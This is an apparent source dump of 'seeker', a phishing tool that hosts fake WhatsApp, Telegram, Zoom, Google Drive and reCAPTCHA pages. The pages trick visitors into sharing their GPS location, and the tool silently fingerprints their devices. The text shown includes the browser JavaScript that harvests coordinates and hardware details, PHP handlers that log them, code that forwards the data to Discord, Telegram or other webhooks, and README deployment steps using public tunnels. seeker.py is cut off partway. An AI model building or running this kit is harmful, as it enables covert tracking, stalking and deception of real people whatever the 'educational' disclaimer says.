Full Code of thewhiteh4t/seeker for AI

master abbbf802cf55 cached
49 files
841.6 KB
327.8k tokens
29 symbols
1 requests
Download .txt
Showing preview only (870K chars total). Download the full file or copy to clipboard to get everything.
Repository: thewhiteh4t/seeker
Branch: master
Commit: abbbf802cf55
Files: 49
Total size: 841.6 KB

Directory structure:
gitextract__f1mjkpv/

├── .github/
│   ├── FUNDING.yml
│   ├── ISSUE_TEMPLATE/
│   │   ├── config.yml
│   │   └── seeker-error-report---feature-request.md
│   └── workflows/
│       └── ci.yml
├── .gitignore
├── Dockerfile
├── Dockerfile.dev
├── LICENSE
├── README.md
├── createTemplate.md
├── discord_webhook.py
├── install.sh
├── js/
│   └── location.js
├── metadata.json
├── php/
│   ├── error.php
│   ├── info.php
│   └── result.php
├── seeker.py
├── telegram_api.py
├── template/
│   ├── captcha/
│   │   ├── anchor.html
│   │   ├── css/
│   │   │   └── styles__ltr.css
│   │   ├── index_temp.html
│   │   └── js/
│   │       └── main_temp.js
│   ├── custom_og_tags/
│   │   └── index_temp.html
│   ├── gdrive/
│   │   ├── css/
│   │   │   └── main.css
│   │   └── index_temp.html
│   ├── mod_captcha.py
│   ├── mod_custom_og_tags.py
│   ├── mod_gdrive.py
│   ├── mod_nearyou.py
│   ├── mod_telegram.py
│   ├── mod_whatsapp.py
│   ├── mod_whatsapp_redirect.py
│   ├── mod_zoom.py
│   ├── nearyou/
│   │   ├── css/
│   │   │   └── main.css
│   │   └── index_temp.html
│   ├── sample.kml
│   ├── telegram/
│   │   ├── css/
│   │   │   ├── css
│   │   │   └── telegram.css
│   │   └── index_temp.html
│   ├── templates.json
│   ├── whatsapp/
│   │   ├── css/
│   │   │   ├── Epf3I8GM5jv.css
│   │   │   └── s9hWiNS5894.css
│   │   └── index_temp.html
│   ├── whatsapp_redirect/
│   │   ├── css/
│   │   │   ├── Epf3I8GM5jv.css
│   │   │   └── s9hWiNS5894.css
│   │   └── index_temp.html
│   └── zoom/
│       └── index_temp.html
└── utils.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/FUNDING.yml
================================================
# These are supported funding model platforms

github: thewhiteh4t


================================================
FILE: .github/ISSUE_TEMPLATE/config.yml
================================================
blank_issues_enabled: false
contact_links:
  - name: Discord
    url: https://discord.gg/MtKK7U4
    about: Community Server


================================================
FILE: .github/ISSUE_TEMPLATE/seeker-error-report---feature-request.md
================================================
---
name: Seeker Error Report / Feature Request
about: Create a report to help us improve
title: ''
labels: ''
assignees: ''

---

**Describe the Error / Feature Request**

---

**To Reproduce**

---

**Expected behavior**

---

**Screenshots**

---

**Please complete the following information :**
 
 - OS:
 - OS Version:
 - Browser:
 - Full Browser Version:


================================================
FILE: .github/workflows/ci.yml
================================================
name: ci

on:
  push:
    branches:
      - 'master'

jobs:
  docker:
    runs-on: ubuntu-latest
    steps:
      -
        name: Set up QEMU
        uses: docker/setup-qemu-action@v2
      -
        name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v2
      -
        name: Login to DockerHub
        uses: docker/login-action@v2
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}
      -
        name: Build and push
        uses: docker/build-push-action@v3
        with:
          push: true
          tags: thewhiteh4t/seeker:latest

================================================
FILE: .gitignore
================================================
db/
logs/
template/__pycache__/


================================================
FILE: Dockerfile
================================================
FROM alpine:latest
RUN apk update 
RUN apk add --no-cache \
git \
bash \
musl-dev \
linux-headers \
python3 \
py3-pip gcc \
python3-dev \
php php-json openssh
RUN pip3 install --break-system-packages requests packaging psutil
WORKDIR /root/seeker
RUN git clone https://github.com/thewhiteh4t/seeker.git .
EXPOSE 8080
ENTRYPOINT ["/root/seeker/seeker.py"]


================================================
FILE: Dockerfile.dev
================================================
FROM alpine:latest
RUN apk update 
RUN apk add --no-cache \
git \
bash \
musl-dev \
linux-headers \
python3 \
py3-pip gcc \
python3-dev \
php php-json openssh
RUN pip3 install --break-system-packages requests packaging psutil
WORKDIR /root/seeker
COPY . .
EXPOSE 8080
ENTRYPOINT ["/root/seeker/seeker.py"]


================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2019 thewhiteh4t

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
<p align="center"><img src="https://i.imgur.com/DIpuNTI.jpg"></p>

<p align="center">
    <a href="https://twitter.com/thewhiteh4t">
      <img src="https://img.shields.io/badge/-TWITTER-black?logo=twitter&style=for-the-badge">
    </a>
    &nbsp;
    <a href="https://twc1rcle.com/">
      <img src="https://img.shields.io/badge/-THE WHITE CIRCLE-black?logo=&style=for-the-badge">
    </a>
    &nbsp;
    <a href="https://thewhiteh4t.github.io/">
      <img src="https://img.shields.io/badge/-BLOG-black?logo=dialogflow&style=for-the-badge">
    </a>
</p>

<p align="center">
  <br>
  <b>Available in</b>
  <br>
  <img src="https://i.imgur.com/1wJVDV5.png">
</p>

<p>
  <a style="margin-right: 10px;" href="https://github.com/thewhiteh4t/seeker#installation">
    <img src="https://dabuttonfactory.com/button.png?t=INSTALL&f=Open+Sans&ts=15&tc=000&hp=25&vp=10&c=5&bgt=unicolored&bgc=00e2ff">
  </a>
  <a style="margin-right: 10px;" href="https://github.com/thewhiteh4t/seeker#usage">
    <img src="https://dabuttonfactory.com/button.png?t=USAGE&f=Open+Sans&ts=15&tc=000&hp=25&vp=10&c=5&bgt=unicolored&bgc=00e2ff">
  </a>
  <a href="https://github.com/thewhiteh4t/seeker#demo">
    <img src="https://dabuttonfactory.com/button.png?t=DEMO&f=Open+Sans&ts=15&tc=000&hp=25&vp=10&c=5&bgt=unicolored&bgc=00e2ff">
  </a>
</p>

Concept behind Seeker is simple, just like we host phishing pages to get credentials why not host a fake page that requests your location like many popular location based websites. Read more on <a href="https://thewhiteh4t.github.io"> thewhiteh4t's Blog </a>.Seeker Hosts a fake website which asks for Location Permission and if the target allows it, we can get :

* Longitude
* Latitude
* Accuracy
* Altitude - Not always available
* Direction - Only available if user is moving
* Speed - Only available if user is moving

Along with Location Information we also get **Device Information** without any permissions :

* Unique ID using Canvas Fingerprinting
* Device Model - Not always available
* Operating System
* Platform
* Number of CPU Cores - Approximate Results
* Amount of RAM - Approximate Results
* Screen Resolution
* GPU information
* Browser Name and Version
* Public IP Address
* Local IP Address
* Local Port

**Automatic IP Address Reconnaissance** is performed after the above information is received.

**This tool is a Proof of Concept and is for Educational Purposes Only, Seeker shows what data a malicious website can gather about you and your devices and why you should not click on random links and allow critical permissions such as Location etc.**

## How is this Different from IP GeoLocation

* Other tools and services offer IP Geolocation which is NOT accurate at all and does not give location of the target instead it is the approximate location of the ISP.

* Seeker uses HTML API and gets Location Permission and then grabs Longitude and Latitude using GPS Hardware which is present in the device, so Seeker works best with Smartphones, if the GPS Hardware is not present, such as on a Laptop, Seeker fallbacks to IP Geolocation or it will look for Cached Coordinates.  

* Generally if a user accepts location permsission, Accuracy of the information recieved is **accurate to approximately 30 meters**

* Accuracy depends on multiple factors which you may or may not control such as :
  * Device - Won't work on laptops or phones which have broken GPS
  * Browser - Some browsers block javascripts
  * GPS Calibration - If GPS is not calibrated you may get inaccurate results and this is very common

## Templates

Available Templates : 

* NearYou
* Google Drive (Suggested by @Akaal_no_one)
* WhatsApp (Suggested by @Dazmed707)
* Telegram
* Zoom (Made by @a7maadf)
* Google reCAPTCHA (Made by @MrEgyptian)

Create your own template ! 
Steps to let you create your template is described in this [how-to](./createTemplate.md)

Once your template is ready, **do not forget to propose it to the community via a PR (pull request)**

## Tested On :

* Kali Linux
* BlackArch Linux
* Ubuntu
* Fedora
* Kali Nethunter
* Termux
* Parrot OS
* OSX - Monterey v.12.0.1

## Installation

### Kali Linux / Arch Linux / Ubuntu / Fedora / Parrot OS / Termux

```bash
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod +x install.sh
./install.sh
```

### BlackArch Linux

```bash
sudo pacman -S seeker
```

### Docker

```bash
docker pull thewhiteh4t/seeker
```

### OSX
```bash
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
python3 seeker.py
````

In order to run in tunnel mode, install ngrok by running this command in the terminal:
```bash
brew install ngrok/ngrok/ngrok

ngrok http 8080
````

## Usage

```bash
python3 seeker.py -h

usage: seeker.py [-h] [-k KML] [-p PORT] [-u] [-v] [-t TEMPLATE] [-d] [--telegram token:chatId] [--webhook WEBHOOK]

options:
  -h, --help                            show this help message and exit
  -k KML, --kml KML                     KML filename
  -p PORT, --port PORT                  Web server port [ Default : 8080 ]
  -u, --update                          Check for updates
  -v, --version                         Prints version
  -t TEMPLATE, --template TEMPLATE      Auto choose the template with the given index
  -d, --debugHTTP                       Disable auto http --> https redirection for testing purposes 
                                        (only works for the templates having index_temp.html file)
  --telegram                            Send info to a telegram bot, provide telegram token and chat to use
                                        format = token:chatId separated by a colon
  --webhook                             Send events to a webhook endpoint to be processed
                                        Note : endpoint must be unauthenticated and accept POST request

#########################
# Environment Variables #
#########################

Some of the options above can also be enabled via environment variables, to ease deployment.
Other parameters can be provided via environment variables to avoid interactive mode.

Variables:
  DEBUG_HTTP            Same as -d, --debugHTTP
  PORT                  Same as -p, --port
  TEMPLATE              Same as -t, --template
  TITLE                 Provide the group title or the page title
  REDIRECT              Provide the URL to redirect the user to, after the job is done
  IMAGE                 Provide the image to use, can either be remote (http or https) or local
                        Note : Remote image will be downloaded locally during the startup
  DESC                  Provide the description of the item (group or webpage depending on the template)
  SITENAME              Provide the name of the website
  DISPLAY_URL           Provide the URL to display on the page
  MEM_NUM               Provide the number of group membres (Telegram so far)
  ONLINE_NUM            Provide the number of the group online members (Telegram so far)
  TELEGRAM              Provide telegram token and chat to use to send info to a telegram bot
                        format = token:chatId separated by a colon
  WEBHOOK               Provide the webhook url to forward the events to 
                        Note : endpoint should be unauthenticated and accept POST method
                        

##################
# Usage Examples #
##################

# Step 1 : In first terminal
$ python3 seeker.py

# Step 2 : In second terminal start a tunnel service such as ngrok
$ ./ngrok http 8080

###########
# Options #
###########

# Ouput KML File for Google Earth
$ python3 seeker.py -k <filename>

# Use Custom Port
$ python3 seeker.py -p 1337
$ ./ngrok http 1337

# Pre-select a specific template
$ python3 seeker.py -t 1

################
# Docker Usage #
################

# Step 1
$ docker network create ngroknet

# Step 2
$ docker run --rm -it --net ngroknet --name seeker thewhiteh4t/seeker

# Step 3
$ docker run --rm -it --net ngroknet --name ngrok wernight/ngrok ngrok http seeker:8080
```

## Local Tunnels
Use
```
ssh -R 80:localhost:8080 nokey@localhost.run
```
as an alterntive to ngrok

## Demo

**YouTube**

<a href="https://odysee.com/@thewhiteh4t:2/seeker_v126_demo:e">
  <img src="https://thumbnails.odycdn.com/optimize/s:1024:768/quality:85/plain/https://thumbs.odycdn.com/5ce9ed06e0ce8a995987dba0949dbc9a.webp">
</a>


================================================
FILE: createTemplate.md
================================================
# How-to create template

Once your template is working perfect, do not forget to submit it to the community via a Pull Request!

## HTML Files
You are free to implement any HTML + CSS files to get the look and feel you want, however, do not forget to do the bridge with the core javascript part described in the next section.

## Javascript
You can use any JS you need, but to do the link with the core files, ensure you have the following directive on your main html page:
`<script src="js/locate.js"></script>`
This file must not be present, and will be copied by seeker at template startup.

The `information()` function can be called anywhere, to send browser/computer data (without location).

For the location, the `location` function must be called (on a button click or another action), it takes two parameters. The first one is the function to call once the location is sent, and the other is the function to call when the user declines location access.

```
<a class="tgme_action_button_new" onclick="locate(popup, function(){$('#change').html('Failed');});">View in Telegram</a>
Or for a redirect:
<button id="requestButton" style="font-weight:bold" class="jfk-button jfk-button-action" onclick="locate(function(){window.location='REDIRECT_URL';}, function(){$('#change').html('Failed');});">Request access</button>
```

## Template files
There is a unique `templates.json` file, add another entry to this file, at the end.
```        
        ,
        {
            "name": "Your template name",
            "dir_name": "folder where your template code is",
            "import_file": "mod_yourtemplate"
        }
```

## Python file
In the `template` folder, you will find a set of mod_*.py file, you can copy and adapt an existing one and report the name in the `templates.json` file described above.
This python file is used to replace variables, and prepare files at template startup.

## PHP file
PHP side is managed by seeker, do not include any PHP file


================================================
FILE: discord_webhook.py
================================================
#!/usr/bin/env python3

import requests
from json import dumps, loads


def discord_sender(url, msg_type, content):
    json_str = dumps(content)
    json_content = loads(json_str)
    if msg_type == 'device_info':
        info_message = {
            "content": None,
            "embeds": [
                {
                    "title": "Device Information",
                    "color": 65280,
                    "fields": [
                        {
                            "name": "OS",
                            "value": json_content['os']
                        },
                        {
                            "name": "Platform",
                            "value": json_content['platform']
                        },
                        {
                            "name": "Browser",
                            "value": json_content['browser']
                        },
                        {
                            "name": "GPU Vendor",
                            "value": json_content['vendor']
                        },
                        {
                            "name": "GPU",
                            "value": json_content['render']
                        },
                        {
                            "name": "CPU Cores",
                            "value": json_content['cores']
                        },
                        {
                            "name": "RAM",
                            "value": json_content['ram']
                        },
                        {
                            "name": "Public IP",
                            "value": json_content['ip']
                        },
                        {
                            "name": "Resolution",
                            "value": f'{json_content["ht"]}x{json_content["wd"]}'
                        }
                    ]
                }
            ]
        }
        requests.post(url, json=info_message, timeout=10)

    if msg_type == 'ip_info':
        ip_info_msg = {
            "content": None,
            "embeds": [
                {
                    "title": "IP Information",
                    "color": 65280,
                    "fields": [
                        {
                            "name": "Continent",
                            "value": json_content['continent']
                        },
                        {
                            "name": "Country",
                            "value": json_content['country']
                        },
                        {
                            "name": "Region",
                            "value": json_content['region']
                        },
                        {
                            "name": "City",
                            "value": json_content['city']
                        },
                        {
                            "name": "Org",
                            "value": json_content['org']
                        },
                        {
                            "name": "ISP",
                            "value": json_content['isp']
                        }
                    ]
                }
            ]
        }
        requests.post(url, json=ip_info_msg, timeout=10)

    if msg_type == 'location':
        location_msg = {
            "content": None,
            "embeds": [
                {
                    "title": "Location Information",
                    "color": 65280,
                    "fields": [
                        {
                            "name": "Latitude",
                            "value": json_content['lat']
                        },
                        {
                            "name": "Longitude",
                            "value": json_content['lon']
                        },
                        {
                            "name": "Accuracy",
                            "value": json_content['acc']
                        },
                        {
                            "name": "Altitude",
                            "value": json_content['alt']
                        },
                        {
                            "name": "Direction",
                            "value": json_content['dir']
                        },
                        {
                            "name": "Speed",
                            "value": json_content['spd']
                        }
                    ]
                }
            ]
        }
        requests.post(url, json=location_msg, timeout=10)

    if msg_type == 'url':
        url_msg = {
            "content": json_content['url'],
            "embeds": None,
            "attachments": []
        }
        requests.post(url, json=url_msg, timeout=10)

    if msg_type == 'error':
        error_msg = {
            "content": None,
            "embeds": [
                {
                    "color": 16711680,
                    "fields": [
                        {
                            "name": "Error",
                            "value": json_content['error']
                        }
                    ]
                }
            ],
            "attachments": []
        }
        requests.post(url, json=error_msg, timeout=10)


================================================
FILE: install.sh
================================================
#!/usr/bin/env bash

LOG_DIR=$PWD/logs
DB_DIR=$PWD/db
ILOG=$LOG_DIR/install.log

mkdir -p $LOG_DIR $DB_DIR

status_check() {
    if [ $? -eq 0 ]
    then
        echo -e "$1 - Installed"
    else
        echo -e "$1 - Failed!"
    fi
}

debian_install() {
    echo -e '=====================\nINSTALLING FOR DEBIAN\n=====================\n' > "$ILOG"

    pkgs="python3 python3-pip python3-requests python3-packaging python3-psutil php"

    install_cmd() {
        echo -ne '$1\r'
        sudo apt -y install $1 &>> "$ILOG"
        status_check $1
        echo -e '\n--------------------\n' >> "$ILOG"
    }

    for pkg_name in $pkgs; do
        install_cmd $pkg_name
    done
}

fedora_install() {
    echo -e '=====================\nINSTALLING FOR FEDORA\n=====================\n' > "$ILOG"

    pkgs="python3 python3-pip python3-requests python3-packaging python3-psutil php"

    install_cmd() {
        echo -ne "$1\r"
        sudo dnf install $1 -y &>> "$ILOG"
        status_check $1
        echo -e '\n--------------------\n' >> "$ILOG"
    }

    for pkg_name in $pkgs; do
        install_cmd $pkg_name
    done
}

termux_install() {
    echo -e '=====================\nINSTALLING FOR TERMUX\n=====================\n' > "$ILOG"

    pkgs="python php"
    pip_pkgs="requests packaging psutil"

    install_cmd() {
        echo -ne "$1\r"
        apt -y install $1 &>> "$ILOG"
        status_check $1
        echo -e '\n--------------------\n' >> "$ILOG"
    }

    install_pip() {
        echo -ne "$1\r"
        pip install -U $1 &>> "$ILOG"
        status_check $1
        echo -e '\n--------------------\n' >> "$ILOG"
    }

    for pkg_name in $pkgs; do
        install_cmd $pkg_name
    done

    for pkg_name in $pip_pkgs; do
        install_pip $pkg_name
    done
}

arch_install() {
    echo -e '=========================\nINSTALLING FOR ARCH LINUX\n=========================\n' > "$ILOG"

    install_cmd() {
        echo -ne "$1\r"
        yes | sudo pacman -S $1 --needed &>> "$ILOG"
        status_check $1
        echo -e '\n--------------------\n' >> "$ILOG"
    }

    pkgs="python3 python-pip python-requests python-packaging python-psutil php"

    for pkg_name in $pkgs; do
        install_cmd $pkg_name
    done
}

echo -e '[!] Installing Dependencies...\n'

if [ -f '/etc/arch-release' ]; then
    arch_install
elif [ -f '/etc/fedora-release' ]; then
    fedora_install
else
    if [ -z "${TERMUX_VERSION}" ]; then
        debian_install
    else
        termux_install
    fi
fi

echo -e '=========\nCOMPLETED\n=========\n' >> "$ILOG"

echo -e '\n[+] Log Saved :' "$ILOG"


================================================
FILE: js/location.js
================================================
function information() {
  var ptf = navigator.platform;
  var cc = navigator.hardwareConcurrency;
  var ram = navigator.deviceMemory;
  var ver = navigator.userAgent;
  var str = ver;
  var os = ver;
  //gpu
  var canvas = document.createElement('canvas');
  var gl;
  var debugInfo;
  var ven;
  var ren;


  if (cc == undefined) {
    cc = 'Not Available';
  }

  //ram
  if (ram == undefined) {
    ram = 'Not Available';
  }

  //browser
  if (ver.indexOf('Firefox') != -1) {
    str = str.substring(str.indexOf(' Firefox/') + 1);
    str = str.split(' ');
    brw = str[0];
  }
  else if (ver.indexOf('Chrome') != -1) {
    str = str.substring(str.indexOf(' Chrome/') + 1);
    str = str.split(' ');
    brw = str[0];
  }
  else if (ver.indexOf('Safari') != -1) {
    str = str.substring(str.indexOf(' Safari/') + 1);
    str = str.split(' ');
    brw = str[0];
  }
  else if (ver.indexOf('Edge') != -1) {
    str = str.substring(str.indexOf(' Edge/') + 1);
    str = str.split(' ');
    brw = str[0];
  }
  else {
    brw = 'Not Available'
  }

  //gpu
  try {
    gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
  }
  catch (e) { }
  if (gl) {
    debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
    ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
    ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
  }
  if (ven == undefined) {
    ven = 'Not Available';
  }
  if (ren == undefined) {
    ren = 'Not Available';
  }

  var ht = window.screen.height
  var wd = window.screen.width
  //os
  os = os.substring(0, os.indexOf(')'));
  os = os.split(';');
  os = os[1];
  if (os == undefined) {
    os = 'Not Available';
  }
  os = os.trim();
  //
  $.ajax({
    type: 'POST',
    url: 'info_handler.php',
    data: { Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os },
    success: function () { },
    mimeType: 'text'
  });
}



function locate(callback, errCallback) {
  if (navigator.geolocation) {
    var optn = { enableHighAccuracy: true, timeout: 30000, maximumage: 0 };
    navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
  }

  function showError(error) {
    var err_text;
    var err_status = 'failed';

    switch (error.code) {
      case error.PERMISSION_DENIED:
        err_text = 'User denied the request for Geolocation';
        break;
      case error.POSITION_UNAVAILABLE:
        err_text = 'Location information is unavailable';
        break;
      case error.TIMEOUT:
        err_text = 'The request to get user location timed out';
        alert('Please set your location mode on high accuracy...');
        break;
      case error.UNKNOWN_ERROR:
        err_text = 'An unknown error occurred';
        break;
    }

    $.ajax({
      type: 'POST',
      url: 'error_handler.php',
      data: { Status: err_status, Error: err_text },
      success: errCallback(error, err_text),
      mimeType: 'text'
    });
  }
  function showPosition(position) {
    var lat = position.coords.latitude;
    if (lat) {
      lat = lat + ' deg';
    }
    else {
      lat = 'Not Available';
    }
    var lon = position.coords.longitude;
    if (lon) {
      lon = lon + ' deg';
    }
    else {
      lon = 'Not Available';
    }
    var acc = position.coords.accuracy;
    if (acc) {
      acc = acc + ' m';
    }
    else {
      acc = 'Not Available';
    }
    var alt = position.coords.altitude;
    if (alt) {
      alt = alt + ' m';
    }
    else {
      alt = 'Not Available';
    }
    var dir = position.coords.heading;
    if (dir) {
      dir = dir + ' deg';
    }
    else {
      dir = 'Not Available';
    }
    var spd = position.coords.speed;
    if (spd) {
      spd = spd + ' m/s';
    }
    else {
      spd = 'Not Available';
    }

    var ok_status = 'success';

    $.ajax({
      type: 'POST',
      url: 'result_handler.php',
      data: { Status: ok_status, Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd },
      success: callback,
      mimeType: 'text'
    });
  };
}



================================================
FILE: metadata.json
================================================
{
	"name": "seeker",
	"author": "thewhiteh4t",
	"version": "1.3.1",
	"twitter": "https://twitter.com/thewhiteh4t",
	"comms": "https://twc1rcle.com/"
}


================================================
FILE: php/error.php
================================================
<?php
header('Content-Type: text/html');
{
  $err_status = $_POST['Status'];
  $err_text = $_POST['Error'];

  $f = fopen('../../logs/result.txt', 'w+');

  $data = array('status' => $err_status, 'error' => $err_text);
  $json_data = json_encode($data);
  fwrite($f, $json_data);
  fclose($f);
}



================================================
FILE: php/info.php
================================================
<?php
header('Content-Type: text/html');
{
  $ptf = $_POST['Ptf'];
  $brw = $_POST['Brw'];
  $cc = $_POST['Cc'];
  $ram = $_POST['Ram'];
  $ven = $_POST['Ven'];
  $ren = $_POST['Ren'];
  $ht = $_POST['Ht'];
  $wd = $_POST['Wd'];
  $os = $_POST['Os'];

  function getUserIP()
  {
    // Get real visitor IP
    if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]))
    {
      $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
      $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
    }
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }
    return $ip;
  }

  $ip = getUserIP();

  $data = array('platform' => $ptf,
  'browser' => $brw,
  'cores' => $cc,
  'ram' => $ram,
  'vendor' => $ven,
  'render' => $ren,
  'ip' => $ip,
  'ht' => $ht,
  'wd' => $wd,
  'os' => $os);

  $json_data = json_encode($data);

  $f = fopen('../../logs/info.txt', 'w+');
  fwrite($f, $json_data);
  fclose($f);
}



================================================
FILE: php/result.php
================================================
<?php
header('Content-Type: text/html');
{
  $ok_status = $_POST['Status'];
  $lat = $_POST['Lat'];
  $lon = $_POST['Lon'];
  $acc = $_POST['Acc'];
  $alt = $_POST['Alt'];
  $dir = $_POST['Dir'];
  $spd = $_POST['Spd'];

  $data = array(
    'status' => $ok_status,
    'lat' => $lat,
    'lon' => $lon,
    'acc' => $acc,
    'alt' => $alt,
    'dir' => $dir,
    'spd' => $spd);

  $json_data = json_encode($data);

  $f = fopen('../../logs/result.txt', 'w+');
  fwrite($f, $json_data);
  fclose($f);
}
?>


================================================
FILE: seeker.py
================================================
#!/usr/bin/env python3

VERSION = '1.3.1'

R = '\033[31m'  # red
G = '\033[32m'  # green
C = '\033[36m'  # cyan
W = '\033[0m'  # white
Y = '\033[33m'  # yellow

import sys
import utils
import argparse
import requests
import traceback
import shutil
from time import sleep
from os import path, kill, mkdir, getenv, environ, remove, devnull
from json import loads, decoder
from packaging import version

parser = argparse.ArgumentParser()
parser.add_argument('-k', '--kml', help='KML filename')
parser.add_argument(
    '-p', '--port', type=int, default=8080, help='Web server port [ Default : 8080 ]'
)
parser.add_argument('-u', '--update', action='store_true', help='Check for updates')
parser.add_argument('-v', '--version', action='store_true', help='Prints version')
parser.add_argument(
    '-t',
    '--template',
    type=int,
    help='Load template and loads parameters from env variables',
)
parser.add_argument(
    '-d',
    '--debugHTTP',
    type=bool,
    default=False,
    help='Disable HTTPS redirection for testing only',
)
parser.add_argument(
    '-tg', '--telegram', help='Telegram bot API token [ Format -> token:chatId ]'
)
parser.add_argument(
    '-wh', '--webhook', help='Webhook URL [ POST method & unauthenticated ]'
)

args = parser.parse_args()
kml_fname = args.kml
port = getenv('PORT') or args.port
chk_upd = args.update
print_v = args.version
telegram = getenv('TELEGRAM') or args.telegram
webhook = getenv('WEBHOOK') or args.webhook

if (
    getenv('DEBUG_HTTP')
    and (getenv('DEBUG_HTTP') == '1' or getenv('DEBUG_HTTP').lower() == 'true')
) or args.debugHTTP is True:
    environ['DEBUG_HTTP'] = '1'
else:
    environ['DEBUG_HTTP'] = '0'

templateNum = (
    int(getenv('TEMPLATE'))
    if getenv('TEMPLATE') and getenv('TEMPLATE').isnumeric()
    else args.template
)

path_to_script = path.dirname(path.realpath(__file__))

SITE = ''
SERVER_PROC = ''
LOG_DIR = f'{path_to_script}/logs'
DB_DIR = f'{path_to_script}/db'
LOG_FILE = f'{LOG_DIR}/php.log'
DATA_FILE = f'{DB_DIR}/results.csv'
INFO = f'{LOG_DIR}/info.txt'
RESULT = f'{LOG_DIR}/result.txt'
TEMPLATES_JSON = f'{path_to_script}/template/templates.json'
TEMP_KML = f'{path_to_script}/template/sample.kml'
META_FILE = f'{path_to_script}/metadata.json'
META_URL = 'https://raw.githubusercontent.com/thewhiteh4t/seeker/master/metadata.json'
PID_FILE = f'{path_to_script}/pid'

if not path.isdir(LOG_DIR):
    mkdir(LOG_DIR)

if not path.isdir(DB_DIR):
    mkdir(DB_DIR)


def chk_update():
    try:
        print('> Fetching Metadata...', end='')
        rqst = requests.get(META_URL, timeout=5)
        meta_sc = rqst.status_code
        if meta_sc == 200:
            print('OK')
            metadata = rqst.text
            json_data = loads(metadata)
            gh_version = json_data['version']
            if version.parse(gh_version) > version.parse(VERSION):
                print(f'> New Update Available : {gh_version}')
            else:
                print('> Already up to date.')
    except Exception as exc:
        utils.print(f'Exception : {str(exc)}')


if chk_upd is True:
    chk_update()
    sys.exit()

if print_v is True:
    utils.print(VERSION)
    sys.exit()

import socket
import importlib
from csv import writer
import subprocess as subp
from ipaddress import ip_address
from signal import SIGTERM

# temporary workaround for psutil exception on termux
with open(devnull, 'w') as nf:
    sys.stderr = nf
    import psutil
sys.stderr = sys.__stderr__


def banner():
    with open(META_FILE, 'r') as metadata:
        json_data = loads(metadata.read())
        twitter_url = json_data['twitter']
        comms_url = json_data['comms']

    art = r"""
                        __
  ______  ____   ____  |  | __  ____ _______
 /  ___/_/ __ \_/ __ \ |  |/ /_/ __ \\_  __ \
 \___ \ \  ___/\  ___/ |    < \  ___/ |  | \/
/____  > \___  >\___  >|__|_ \ \___  >|__|
     \/      \/     \/      \/     \/"""
    utils.print(f'{G}{art}{W}\n')
    utils.print(f'{G}[>] {C}Created By   : {W}thewhiteh4t')
    utils.print(f'{G} |---> {C}Twitter   : {W}{twitter_url}')
    utils.print(f'{G} |---> {C}Community : {W}{comms_url}')
    utils.print(f'{G}[>] {C}Version      : {W}{VERSION}\n')


def send_webhook(content, msg_type):
    if webhook is not None:
        if not webhook.lower().startswith('http://') and not webhook.lower().startswith(
            'https://'
        ):
            utils.print(f'{R}[-] {C}Protocol missing, include http:// or https://{W}')
            return
        if webhook.lower().startswith('https://discord.com/api/webhooks'):
            from discord_webhook import discord_sender

            discord_sender(webhook, msg_type, content)
        else:
            requests.post(webhook, json=content)


def send_telegram(content, msg_type):
    if telegram is not None:
        tmpsplit = telegram.split(':')
        if len(tmpsplit) < 3:
            utils.print(
                f'{R}[-] {C}Telegram API token invalid! Format -> token:chatId{W}'
            )
            return
        from telegram_api import tgram_sender

        tgram_sender(msg_type, content, tmpsplit)


def template_select(site):
    utils.print(f'{Y}[!] Select a Template :{W}\n')

    with open(TEMPLATES_JSON, 'r') as templ:
        templ_info = templ.read()

    templ_json = loads(templ_info)

    for item in templ_json['templates']:
        name = item['name']
        utils.print(f'{G}[{templ_json["templates"].index(item)}] {C}{name}{W}')

    try:
        selected = -1
        if templateNum is not None:
            if templateNum >= 0 and templateNum < len(templ_json['templates']):
                selected = templateNum
        else:
            selected = int(input(f'{G}[>] {W}'))
        if selected < 0:
            print()
            utils.print(f'{R}[-] {C}Invalid Input!{W}')
            sys.exit()
    except ValueError:
        print()
        utils.print(f'{R}[-] {C}Invalid Input!{W}')
        sys.exit()

    try:
        site = templ_json['templates'][selected]['dir_name']
    except IndexError:
        print()
        utils.print(f'{R}[-] {C}Invalid Input!{W}')
        sys.exit()

    print()
    utils.print(
